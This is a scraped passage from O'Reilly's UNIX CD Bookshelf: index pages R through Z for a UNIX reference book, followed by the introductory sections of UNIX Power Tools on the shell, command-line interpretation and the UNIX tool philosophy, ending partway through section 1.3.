read command (ksh, sh) : Chapter 4, Reference: read
reading email messages : Chapter 2, Reference: mailx
readonly command (ksh, sh) : Chapter 4, Reference: readonly
recording session : Chapter 2, Reference: script
recover command (ex) : Chapter 9, Reference: recover
red command
Chapter 2, Reference: red
(see also ed command)
redirections
csh forms for : 5.2.5. Redirection Forms
sh and ksh forms for : 4.2.5. Redirection Forms
referencing arrays : 4.3.4. Arrays
regcmp command : Chapter 2, Reference: regcmp
regions, emacs commands for : 7.2.4. Paragraphs and Regions
regular expressions
compiling : Chapter 2, Reference: regcmp
lexical analysis program : Chapter 2, Reference: lex
searching files for
Chapter 2, Reference: egrep
Chapter 2, Reference: fgrep
Chapter 2, Reference: grep
for sed command addresses : 10.3.1. Pattern Addressing
rehash command (csh) : Chapter 5, Reference: rehash
relogin command : Chapter 2, Reference: relogin
remote communications (calling out) : Chapter 2, Reference: cu
remote host, connecting to : Chapter 2, Reference: rlogin
remote shell, connecting to
Chapter 2, Reference: rsh
Chapter 2, Reference: rsh
remote systems
copying files between : Chapter 2, Reference: uucp
remote systems, copying files between : Chapter 2, Reference: rcp
removing : (see deleting)
remsh command : (see rsh command)
renaming
directories and files : Chapter 2, Reference: mv
repeat command (csh) : Chapter 5, Reference: repeat
replacing files in archives : Chapter 2, Reference: ar
replacing text, metacharacters for : 6.4.1. Examples of Searching and Replacing
replay command (dbx) : Chapter 20, Reference: replay
REPLY shell variable : 4.3.2. Built-in Shell Variables
reports
on active processes : Chapter 2, Reference: ps
on system status : Chapter 2, Reference: uustat
requests, nroff/troff : 12.4. Default Operation of Requests
rerun command (dbx) : Chapter 20, Reference: rerun
reset command
Chapter 2, Reference: reset
(see also tset command)
restore command (dbx) : Chapter 20, Reference: restore
restricted shells : 4.9. Restricted Shells
return command (awk) : Chapter 11, Reference: return
return command (dbx) : Chapter 20, Reference: return
return command (ksh, sh) : Chapter 4, Reference: return
reverse linefeeds, displaying : Chapter 2, Reference: col
revision control
RCS utility : 18. The RCS Utility
SCCS utility
17. The SCCS Utility
18.4. Conversion Guide for SCCS Users
revision numbers (RCS) : 18.3.4. Revision Numbering
rewind command (ex) : Chapter 9, Reference: rewind
rksh command : Chapter 2, Reference: rksh
rksh command (ksh, sh) : 4.9. Restricted Shells
rlog command (RCS) : Chapter 18, Reference: rlog
rlogin command : Chapter 2, Reference: rlogin
rm command : Chapter 2, Reference: rm
rmdel command (SCCS) : Chapter 17, Reference: rmdel
rmdir command
Chapter 2, Reference: rmdir
(see also mkdir command)
rsh command
Chapter 2, Reference: rsh
Chapter 2, Reference: rsh
(see also sh command)
rsh command (ksh, sh) : 4.9. Restricted Shells
run command (dbx) : Chapter 20, Reference: run
running processes, core images for : Chapter 2, Reference: gcore
ruptime command : Chapter 2, Reference: ruptime
rwho command
Chapter 2, Reference: rwho
(see also who command)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: S

s command (sed) : Chapter 10, Reference: s
sact command (SCCS) : Chapter 17, Reference: sact
save command (dbx) : Chapter 20, Reference: save
savehist shell variable : 5.3.3. Predefined Shell Variables
sccs (front end to SCCS) : 17.6. sccs and Pseudo-commands
SCCS utility : 17. The SCCS Utility
commands and psuedo-commands : 17.5. Alphabetical Summary of SCCS Commands
keywords for : 17.3. Identification Keywords
RCS commands equivalents : 18.4. Conversion Guide for SCCS Users
sccsdiff command (SCCS) : Chapter 17, Reference: sccsdiff
script command : Chapter 2, Reference: script
sdb command : Chapter 2, Reference: sdb
sdb debugger : 20.1. The Sdb Debugger
sdiff command : Chapter 2, Reference: sdiff
searching
emacs commands for : 7.2.8. Incremental Search Commands
file contents
for matching text : Chapter 2, Reference: fgrep
for newline/null sequence : Chapter 2, Reference: strings
regular expressions for
Chapter 2, Reference: egrep
Chapter 2, Reference: grep
Internet directory : Chapter 2, Reference: whois
pattern matching : 6. Pattern Matching
by pattern-matching : Chapter 2, Reference: awk
search-and-replace : 6.4.1. Examples of Searching and Replacing
searching for files : Chapter 2, Reference: find
SECONDS shell variable : 4.3.2. Built-in Shell Variables
secret keys
decrypting : Chapter 2, Reference: keylogin
deleting : Chapter 2, Reference: keylogout
secure network services
decrypting secret keys in : Chapter 2, Reference: keylogin
deleting secret keys in : Chapter 2, Reference: keylogout
sed command : Chapter 2, Reference: sed
sed editor : 10. The Sed Editor
commands for : 10.3. Syntax of Sed Commands
pattern-matching metacharacters : 6.2. Metacharacters, Listed by UNIX Program
search-and-replace examples : 6.4.1. Examples of Searching and Replacing
select command (ksh, sh) : Chapter 4, Reference: select
selecting columns from files : Chapter 2, Reference: cut
semaphore sets, removing : Chapter 2, Reference: ipcrm
sending email messages : Chapter 2, Reference: mailx
to all users : Chapter 2, Reference: wall
service grades, listing : Chapter 2, Reference: uuglist
sessions
customizing : 3.2.2. Customization of Your UNIX Session
recording : Chapter 2, Reference: script
set command (csh) : Chapter 5, Reference: set
set command (dbx) : Chapter 20, Reference: set
set command (ex) : Chapter 9, Reference: set
set command (ksh, sh) : Chapter 4, Reference: set
:set command (vi) : 8.10.1. The :set Command
setenv command (csh) : Chapter 5, Reference: setenv
setenv command (dbx) : Chapter 20, Reference: setenv
sh (Bourne shell) : 4. The Bourne Shell and Korn Shell
built-in commands, list of : 4.6. Built-in Commands (Bourne and Korn Shell)
compared to ksh and csh : 3.5. Differing Features
invoking shell : 4.8. Invoking the Shell
job control : 4.7. Job Control
setting restrictions on
Chapter 2, Reference: rsh
4.9. Restricted Shells
variables : 4.3. Variables
sh command : Chapter 2, Reference: sh
sh command (dbx) : Chapter 20, Reference: sh
SHACCT shell variable : 4.3.3. Other Shell Variables
shared memory identifiers, removing : Chapter 2, Reference: ipcrm
#! command (csh) : Chapter 5, Reference: #!
#! command (ksh, sh) : Chapter 4, Reference: #!shell
shell characters (emacs) : 7.2.12. Special Shell Characters
shell command (ex) : Chapter 9, Reference: shell
SHELL environment variable : 5.3.5. Environment Variables
shell scripts : 3.2.3. Programming
for background processes : Chapter 2, Reference: wait
job control via : Chapter 2, Reference: jsh
reading from terminal : Chapter 2, Reference: line
running : Chapter 2, Reference: lptest
SHELL shell variable : 4.3.3. Other Shell Variables
shell shell variable : 5.3.3. Predefined Shell Variables
shell variables
csh shell : 5.3.3. Predefined Shell Variables
sh and ksh shells : 4.3.2. Built-in Shell Variables
shells
invoking
4.8. Invoking the Shell
5.8. Invoking the Shell
multiple
controlling from one terminal : Chapter 2, Reference: shl
overview of : 3. The UNIX Shell: An Overview
restricted : 4.9. Restricted Shells
types (flavors) of : 3.3. Shell Flavors
shift command (csh) : Chapter 5, Reference: shift
shift command (ksh, sh) : Chapter 4, Reference: shift
shl command : Chapter 2, Reference: shl
shutdown command
Chapter 2, Reference: shutdown
(see also halt command; reboot command)
signals, tracing : Chapter 2, Reference: truss
signing on to system : Chapter 2, Reference: login
sin command (awk) : Chapter 11, Reference: sin
size command : Chapter 2, Reference: size
sleep command : Chapter 2, Reference: sleep
.so requests, eliminating in nroff or troff files : Chapter 2, Reference: soelim
soelim command : Chapter 2, Reference: soelim
Solaris 2.0 : 1.1. Merging the Traditions
generating index for : Chapter 2, Reference: ptx
sort command
Chapter 2, Reference: sort
(see also comm command; join command; uniq command)
sorting files : Chapter 2, Reference: tsort
joining lines of sorted files : Chapter 2, Reference: join
removing duplicate lines : Chapter 2, Reference: uniq
source command (csh) : Chapter 5, Reference: source
source command (dbx) : Chapter 20, Reference: source
source command (ex) : Chapter 9, Reference: source
source files, sending : Chapter 2, Reference: uuto
spacing : (see whitespace)
spell command : Chapter 2, Reference: spell
split command : Chapter 2, Reference: split
split command (awk) : Chapter 11, Reference: split
splitting files : Chapter 2, Reference: csplit
sprintf command (awk) : Chapter 11, Reference: sprintf
sqrt command (awk) : Chapter 11, Reference: sqrt
srand command (awk) : Chapter 11, Reference: srand
srchtxt command : Chapter 2, Reference: srchtxt
standard input
copying : Chapter 2, Reference: tr
standard input, copying : Chapter 2, Reference: tee
state, revision (RCS) : 18.3.6. Specifying States
status command (dbx) : Chapter 20, Reference: status
status shell variable : 5.3.3. Predefined Shell Variables
step command (dbx) : Chapter 20, Reference: step
stepi command (dbx) : Chapter 20, Reference: stepi
stop command (csh) : Chapter 5, Reference: stop
stop command (dbx) : Chapter 20, Reference: stop
stop command (ksh, sh) : Chapter 4, Reference: stop
stopi command (dbx) : Chapter 20, Reference: stopi
stream editors : Chapter 2, Reference: sed
strings
printing : Chapter 2, Reference: printf
processing, nroff/troff requests for : 12.5.10. Macro and String Processing
strings command : Chapter 2, Reference: strings
strip command : Chapter 2, Reference: strip
stty command : Chapter 2, Reference: stty
su command : Chapter 2, Reference: su
sub command (awk) : Chapter 11, Reference: sub
substitute command (ex) : Chapter 9, Reference: substitute
substr command (awk) : Chapter 11, Reference: substr
sum command : Chapter 2, Reference: sum
suspend command (csh) : Chapter 5, Reference: suspend
suspend command (ksh, sh) : Chapter 4, Reference: suspend
SVR4 (System V Release 4) : 1.1. Merging the Traditions
switch command (csh) : Chapter 5, Reference: switch
symbol cross-references
Chapter 2, Reference: cscope
Chapter 2, Reference: cxref
symbol tables, printing : Chapter 2, Reference: nm
system calls, tracing : Chapter 2, Reference: truss
system command (awk) : Chapter 11, Reference: system
system dictionary, adding to : Chapter 2, Reference: spell
system name, current
current system name : Chapter 2, Reference: uname
system usage information
Chapter 2, Reference: time
Chapter 2, Reference: timex
Chapter 2, Reference: w
logged-in users : Chapter 2, Reference: ruptime
printing : Chapter 2, Reference: uptime
System V Release 4 (SVR4) : 1.1. Merging the Traditions
system variables, awk : 11.4. Awk System Variables

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: T

t command (ex) : Chapter 9, Reference: t
t command (sed) : Chapter 10, Reference: t
tab stops, setting : Chapter 2, Reference: tabs
tables
converting files into : Chapter 2, Reference: yacc
symbol tables, printing : Chapter 2, Reference: nm
tables, formatting in nroff/troff : 16.1. Tbl
tabs command : Chapter 2, Reference: tabs
tabs, nroff/troff requests for : 12.5.13. Tabs
tag command (ex) : Chapter 9, Reference: tag
tail command : Chapter 2, Reference: tail
talk command : Chapter 2, Reference: talk
tape files, copying/restoring
Chapter 2, Reference: cpio
Chapter 2, Reference: tar
tar command : Chapter 2, Reference: tar
targets, updating : Chapter 2, Reference: make
Tbl preprocessor : 16.1. Tbl
tee command : Chapter 2, Reference: tee
tell pseudo-command (sccs) : 17.6.2. Pseudo-commands
telnet command : Chapter 2, Reference: telnet
Telnet modes : Chapter 2, Reference: telnet
TERM environment variable : 5.3.5. Environment Variables
TERM shell variable : 4.3.3. Other Shell Variables
term shell variable : 5.3.3. Predefined Shell Variables
TERMCAP environment variable : 5.3.5. Environment Variables
terminals
capability of : Chapter 2, Reference: tput
clearing displays : Chapter 2, Reference: clear
clearning settings : Chapter 2, Reference: reset
device name, printing : Chapter 2, Reference: tty
resetting window layers : Chapter 2, Reference: jterm
setting modes : Chapter 2, Reference: tset
setting options : Chapter 2, Reference: stty
testing : Chapter 2, Reference: lptest
terminating process IDs : Chapter 2, Reference: kill
termination of user processes : Chapter 2, Reference: shutdown
termination status for background processes : Chapter 2, Reference: wait
test command : Chapter 2, Reference: test
test command (ksh, sh) : Chapter 4, Reference: test
text
ASCII character set : 21. ASCII Character Set
pattern matching : 6. Pattern Matching
text editors
7. The Emacs Editor
(see also under specific editors)
pattern-matching metacharacters for : 6.2. Metacharacters, Listed by UNIX Program
recovering files after crash : Chapter 2, Reference: vi
screen-oriented : Chapter 2, Reference: vi
vedit editor : Chapter 2, Reference: vedit
text files, editing : (see text editors)
text formatting
me macros : 15. me Macros
mm macros : 13. mm Macros
ms macros : 14. ms Macros
nroff and troff programs : 12. Nroff and Troff
nroff/troff preprocessors : 16. Preprocessors
time command : Chapter 2, Reference: time
time command (csh) : Chapter 5, Reference: time
time command (ksh, sh) : Chapter 4, Reference: time
time shell variable : 5.3.3. Predefined Shell Variables
times command (ksh, sh) : Chapter 4, Reference: times
timex command : Chapter 2, Reference: timex
TMOUT shell variable : 4.3.3. Other Shell Variables
tolower command (awk) : Chapter 11, Reference: tolower
touch command : Chapter 2, Reference: touch
toupper command (awk) : Chapter 11, Reference: toupper
tput command : Chapter 2, Reference: tput
tr command : Chapter 2, Reference: tr
trace command (dbx) : Chapter 20, Reference: trace
tracei command (dbx) : Chapter 20, Reference: tracei
tracing signals : Chapter 2, Reference: truss
transposition commands (emacs) : 7.2.6. Transposition Commands
trap command (ksh, sh) : Chapter 4, Reference: trap
troff files
converting to Postscript files
dpost command : Chapter 2, Reference: dpost
troff program : 12. Nroff and Troff
eliminating .so requests : Chapter 2, Reference: soelim
preprocessors of : 16. Preprocessors
requests, list of : 12.4. Default Operation of Requests
true command : Chapter 2, Reference: true
truss command : Chapter 2, Reference: truss
tset command : Chapter 2, Reference: tset
tsort command : Chapter 2, Reference: tsort
tty command : Chapter 2, Reference: tty
type command (ksh, sh) : Chapter 4, Reference: type
typeset command (ksh, sh) : Chapter 4, Reference: typeset

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: U

ulimit command (ksh, sh) : Chapter 4, Reference: ulimit
umask command
Chapter 2, Reference: umask
(see also chmod command)
umask command (csh) : Chapter 5, Reference: umask
umask command (ksh, sh) : Chapter 4, Reference: umask
unabbreviate command (ex) : Chapter 9, Reference: unabbreviate
unalias command (csh) : Chapter 5, Reference: unalias
unalias command (dbx) : Chapter 20, Reference: unalias
unalias command (ksh, sh) : Chapter 4, Reference: unalias
uname command : Chapter 2, Reference: uname
uncompress command : Chapter 2, Reference: uncompress
uncompressing files
Chapter 2, Reference: uncompress
Chapter 2, Reference: zcat
undisplay command (dbx) : Chapter 20, Reference: undisplay
undo command (ex) : Chapter 9, Reference: undo
undoing, emacs commands for : 7.2.5. Stopping and Undoing Commands
unedit pseudo-command (sccs) : 17.6.2. Pseudo-commands
unget command (SCCS) : Chapter 17, Reference: unget
unhash command (csh) : Chapter 5, Reference: unhash
uniq command : Chapter 2, Reference: uniq
units command : Chapter 2, Reference: units
units of measurements (nroff/troff) : 12.3.2. Specifying Measurements
Unix
bundling software packages : 1.2. Bundling
shells : (see shells)
versions of : 1.1. Merging the Traditions
unlimit command (csh) : Chapter 5, Reference: unlimit
unmap command (ex) : Chapter 9, Reference: unmap
unpack command
Chapter 2, Reference: unpack
(see also pack command; pcat command)
unset : Chapter 4, Reference: unset
unset command (csh) : Chapter 5, Reference: unset
unset command (dbx) : Chapter 20, Reference: unset
unsetenv command (csh) : Chapter 5, Reference: unsetenv
until : Chapter 4, Reference: until
up command (dbx) : Chapter 20, Reference: up
uppercase : (see case)
uptime command : Chapter 2, Reference: uptime
usage information
Chapter 2, Reference: time
Chapter 2, Reference: timex
Chapter 2, Reference: w
use command (dbx) : Chapter 20, Reference: use
USER environment variable : 5.3.5. Environment Variables
user shell variable : 5.3.3. Predefined Shell Variables
users
displaying data about : Chapter 2, Reference: finger
groups
displaying : Chapter 2, Reference: groups
IDs
displaying : Chapter 2, Reference: id
information on those logged in : Chapter 2, Reference: w
logged-in
displaying list
Chapter 2, Reference: users
Chapter 2, Reference: who
displaying system usage : Chapter 2, Reference: ruptime
report on : Chapter 2, Reference: rwho
permissions
changing : Chapter 2, Reference: mesg
sending email messages to all : Chapter 2, Reference: wall
terminating processes of : Chapter 2, Reference: shutdown
usernames, printing : Chapter 2, Reference: whoami
users command : Chapter 2, Reference: users
uucp command
Chapter 2, Reference: uucp
(see also uustat command)
uucp requests
cancelling : Chapter 2, Reference: uustat
obtaining information on : Chapter 2, Reference: uustat
uudecode command : Chapter 2, Reference: uudecode
uudecode, uuencode commands : Chapter 2, Reference: uudecode
uuencode command : Chapter 2, Reference: uuencode
uuglist command : Chapter 2, Reference: uuglist
uulog command
Chapter 2, Reference: uulog
(see also tail command)
uuname command
Chapter 2, Reference: uuname
(see also uucp command)
uupick command
Chapter 2, Reference: uupick
(see also uuto command)
uustat command
Chapter 2, Reference: uustat
(see also uucp command)
uuto command
Chapter 2, Reference: uuto
(see also uupick command)
uux command : Chapter 2, Reference: uux

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: V

v command (ex) : Chapter 9, Reference: v
vacation command : Chapter 2, Reference: vacation
val command (SCCS) : Chapter 17, Reference: val
variable modifiers, C shell : 5.3.2. Variable Modifiers
variable substitution
4.3.1. Variable Substitution
5.3.1. Variable Substitution
variables
awk system variables : 11.4. Awk System Variables
csh shell : 5.3. Variables
sh and ksh shells : 4.3. Variables
vc command (obsolete) : Chapter 2, Reference: vc
vedit editor : Chapter 2, Reference: vedit
verbose shell variable : 5.3.3. Predefined Shell Variables
version command (ex) : Chapter 9, Reference: version
vertical alignment : (see alignment/positioning)
vertical spacing : (see whitespace)
vi editor
Chapter 2, Reference: vi
8. The Vi Editor
(see also ex editor)
ex commands in : 9.1. Syntax of Ex Commands
pattern-matching metacharacters : 6.2. Metacharacters, Listed by UNIX Program
:set command : 8.10.1. The :set Command
view command : (see vi editor)
visual command (ex) : Chapter 9, Reference: visual
VISUAL shell variable : 4.3.3. Other Shell Variables

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: W

w command : Chapter 2, Reference: w
w command (sed) : Chapter 10, Reference: w
wait command : Chapter 2, Reference: wait
wait command (csh) : Chapter 5, Reference: wait
wait command (ksh, sh) : Chapter 4, Reference: wait
wall command : Chapter 2, Reference: wall
wc command : Chapter 2, Reference: wc
what command (SCCS) : Chapter 17, Reference: what
whatis command : Chapter 2, Reference: whatis
whatis command (dbx) : Chapter 20, Reference: whatis
when command (dbx) : Chapter 20, Reference: when
whence command (ksh, sh) : Chapter 4, Reference: whence
where command (dbx) : Chapter 20, Reference: where
whereis command (dbx) : Chapter 20, Reference: whereis
which command : Chapter 2, Reference: which
which command (dbx) : Chapter 20, Reference: which
while command (awk) : Chapter 11, Reference: while
while command (csh) : Chapter 5, Reference: while
while command (ksh, sh) : Chapter 4, Reference: while
whitespace
nroff/troff requests for : 12.5.15. Vertical Spacing
whitespace, nroff/troff requests for : 12.5.13. Tabs
who command : Chapter 2, Reference: who
whoami command
Chapter 2, Reference: whoami
(see also logname command)
whois command : Chapter 2, Reference: whois
wildcards
filename metacharacters
csh shell : 5.2.2. Filename Metacharacters
filename metachracters
sh and ksh shells : 4.2.2. Filename Metacharacters
windows
asynchronous
managing : Chapter 2, Reference: layers
default
setting size : Chapter 2, Reference: vi
emacs, commands for : 7.2.11. Window Commands
size
printing : Chapter 2, Reference: jwin
setting : Chapter 2, Reference: stty
testing standard input for : Chapter 2, Reference: ismpx
word abbreviations (emacs) : 7.2.9. Word Abbreviation Commands
word substitution (csh) : 5.5.3. Word Substitution
wordlist files : Chapter 2, Reference: spell
words, counting in files : Chapter 2, Reference: wc
wq command (ex) : Chapter 9, Reference: wq
write command : Chapter 2, Reference: write
write command (ex) : Chapter 9, Reference: write
writing to standard output : Chapter 2, Reference: echo

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: X

x command (sed) : Chapter 10, Reference: x
xargs command : Chapter 2, Reference: xargs
xit command (ex) : Chapter 9, Reference: xit

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Y

y command (sed) : Chapter 10, Reference: y
yacc command : Chapter 2, Reference: yacc
yank command (ex) : Chapter 9, Reference: yank
yanking commands (sed) : 10.4.4. Yanking and Putting

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Z

z command (ex) : Chapter 9, Reference: z
zcat command : Chapter 2, Reference: zcat

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] Introduction

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: Acknowledgments for the Second Edition Chapter 1 Next: 1.2 Who Listens to What You Type?

1. Introduction

Contents:
What's Special About UNIX?
Who Listens to What You Type?
Programs Are Designed to Work Together
Using Pipes to Create a New Tool
Anyone Can Program the Shell
Power Tools for Editing
Power Grows on You
There Are Many Shells
Which Shell Am I Running?
Internal and External Commands
How the Shell Executes Other Commands
What Makes a Shell Script?
Why Fundamentals Are Important
The Kernel and Daemons
Filenames
Wildcards
Filename Extensions
Who Handles Wildcards?
The Tree Structure of the Filesystem
Your Home Directory
Making Pathnames
How UNIX Keeps Track of Files: Inodes
File Access Permissions
The Superuser (Root)
Access to Directories
What a Multiuser System Can Do for You
How Background Processing Works
Some Gotchas with Background Processing
When Is a File Not a File?
Redirecting Input and Output
The X Window System
One Big Hole
UNIX Networking and Communications
What's Wrong with UNIX

1.1 What's Special About UNIX?

If we were writing about any other operating system, "power tools" might mean "nifty add-on utilities to extend the power of your operating system."

That sounds suspiciously like a definition of UNIX: an operating system loaded with 25 years' worth of nifty add-on utilities.

UNIX is unique in that it wasn't designed as a commercial operating system meant to run application programs, but as a hacker's toolset, by and for programmers. In fact, an early release of the operating system went by the name PWB (Programmer's Work Bench).

When Ken Thompson and Dennis Ritchie first wrote UNIX at AT&T Bell Labs, it was for their own use, and for their friends and co-workers. Utility programs were added by various people as they had problems to solve. Because Bell Labs wasn't in the computer business, source code was given out to universities for a nominal fee. Brilliant researchers wrote their own software and added it to UNIX in a spree of creative anarchy that hasn't been equaled since, except perhaps in the introduction of the X Window System (1.31).

Unlike most other operating systems, where free software remains an unsupported add-on, UNIX has taken as its own the work of thousands of independent programmers. During the commercialization of UNIX within the past ten years, this incorporation of outside software has slowed down, but not stopped entirely, especially in the university environment.

A book on UNIX Power Tools® therefore inevitably has to focus not just on add-on utilities (though we do include many of those) but on how to use clever features of the many utilities that have been made part of UNIX over the years.

UNIX is also important to power users because it's one of the last popular operating systems that doesn't force you to work behind an interface of menus and windows and a mouse with a "one-size(-doesn't)-fit-all" programming interface. Yes, you can use UNIX interfaces with windows and menus - and they can be great time savers in a lot of cases. But UNIX also gives you building blocks that, with some training and practice, will give you many more choices than any software designer can cram onto a set of menus. If you learn to use UNIX and its utilities from the command line, you don't have to be a programmer to do very powerful things with a few keystrokes.

So, it's also essential that this book teach you some of the underlying principles that make UNIX such a tinkerer's paradise.

In the body of this book, we assume that you are already moderately familiar with UNIX-a journeyman hacker wanting to become a master. But at the same time, we don't want to leave beginners entirely at sea, so in this chapter, we include some fundamental concepts. We've tried to intersperse some simple tips and tricks to keep things interesting, but the ratio of concept articles to tips is much higher than in any other part of the book. The concepts covered are also much more basic. If you aren't a beginner, you can safely skip this chapter, though we may bounce you back here if you don't understand something later in the book.

Don't expect a complete introduction to UNIX-if you need that, buy an introductory book. What you'll find here is a selection of key concepts that you'll need to understand to progress beyond the beginner stage, and answers to frequently asked questions and problems. In some ways, consider this introduction a teaser. If you are a beginner, we want to show you enough of UNIX to whet your appetite for more.

Also, don't expect everything to be in order. Because we don't want you to get in the habit of reading through each chapter from beginning to end, as in most books, the articles in this chapter are in loose order. We've tried not to make you jump around too much, but we've also avoided a lot of the transitional material that makes reading most books a chore.

- TOR, JP

Previous: Acknowledgments for the Second Edition | UNIX Power Tools | Next: 1.2 Who Listens to What You Type?
Acknowledgments for the Second Edition | Book Index | 1.2 Who Listens to What You Type?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.2 Who Listens to What You Type?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.1 What's Special About UNIX? Chapter 1
Introduction 		Next: 1.3 Programs Are Designed to Work Together

1.2 Who Listens to What You Type?

Probably the single most important concept for would-be power users to grasp is that you don't talk to UNIX directly. Instead, you talk to a program called the shell. The shell protects UNIX from the user (and the user from UNIX).

The UNIX operating system proper is referred to as the kernel (1.14). Usually, only programs talk to the kernel (through system calls (52.9)). Users talk to the shell, which interprets their commands and either executes them directly or passes them on to other programs. These programs in turn request lower-level services from the kernel.

For example, when you type a command to display files whose four-character filenames start with the letter "m":

???
% cat m???

it is the shell that finds the filenames, makes a complete list of them, and calls the cat (25.2) command to ask it to print the expanded list. The cat command calls on the kernel to find each file on the disk and print its contents as a stream of characters on the display.

Why is this important? First of all, you can choose between several different shells (1.8), each of which may have different rules for interpreting command lines.

Second, the shell has to interpret the command line you type and package it up for the command you are calling. Because the shell reads the command line first, it's important to understand just how the shell changes what it reads.

For example, one basic rule is that the shell uses "white space" (spaces or tabs) to separate each "argument" of a command. But sometimes, you want the shell to interpret its arguments differently. For example, if you are calling grep (27.1), a program for searching through files for a matching line of text, you might want to supply an entire phrase as a single argument. The shell lets you do this by quoting (8.14) arguments. For example:

% grep "UNIX Power Tools" articles/*

Understanding how the shell interprets the command line, and when to keep it from doing so, can be very important in a lot of special cases, especially when dealing with wildcards (1.16) like the * (asterisk) above. Article 8.5 explains more about how the shell interprets what you type.

You can think of the relationship of the kernel, the shell, and various UNIX utilities and applications as looking like Figure 1.1.

Figure 1.1: Relationship of Kernel, Shell, Utilities, and Applications

Note that there are some interactive commands that take input directly from the user, without intervention from the shell. The shell's only job is to start them up. A text editor, a mail program, or almost any application program (desktop publishing, spreadsheet) includes its own command interpreter with its own rules.

- TOR

Previous: 1.1 What's Special About UNIX? | UNIX Power Tools | Next: 1.3 Programs Are Designed to Work Together
1.1 What's Special About UNIX? | Book Index | 1.3 Programs Are Designed to Work Together
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.3 Programs Are Designed to Work Together

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.2 Who Listens to What You Type? Chapter 1
Introduction 		Next: 1.4 Using Pipes to Create a New Tool

1.3 Programs Are Designed to Work Together

As pointed out by Kernighan and Pike in their classic book, The UNIX Programming Environment, there are a number of principles that distinguish the UNIX environment. One key concept is that programs are tools. And like all good tools, they should be specific in function, but usable for many different purposes.

In order for programs to become general-purpose tools, they must be data-independent. This means three things:

  1. Within limits, the output of any program should be usable as the input to another.

  2. All of the information needed by a program should either be contained in the data stream passed to it or specified on the command line. A program should not prompt for input or do unnecessary formatting of output. In most cases, this means that UNIX programs work with plain text files that don't contain "non-printable" or "control" characters.

